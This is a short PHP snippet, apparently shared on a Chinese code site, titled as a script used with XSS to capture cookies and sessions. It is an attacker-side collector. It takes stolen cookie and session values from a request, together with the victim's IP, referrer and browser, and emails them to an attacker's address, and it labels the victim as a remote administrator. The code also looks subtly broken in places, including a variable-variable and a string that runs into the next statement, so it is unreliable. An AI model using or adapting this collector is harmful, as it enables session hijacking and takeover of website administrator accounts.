php xss配合php获取cookie和session的脚本

<?php
$ip = $_SERVER['REMOTE_ADDR'];
$to='xxx@yeah.net';
$referer = $_SERVER['HTTP_REFERER'];
$cookie = $_GET['cookie']; 
$session = $_GET['session'];
$agent = $_SERVER['HTTP_USER_AGENT'];
$subject='远程XSS获取地址-域名：'.$referer;
$body="<p> 远程管理员IP= ".$ip."<p> 访问时间=" . date('d-m-Y').
"<p> 后台地址=".$referer."<p> 浏览器类型=".$agent."<p> 当前页面地址=".$referer."<p> COOKIE信息=".$cookie."<p> Session信息=".$$session.' '.
$headers= 'MIME-Version: 1.0' . "\\r\\n";
$headers.= 'Content-type: text/html; charset=utf-8' . "\\r\\n";
$headers.="Cleanreport.com";
mail($to, $subject, $body, $headers);
?>
//该片段来自于http://outofmemory.cn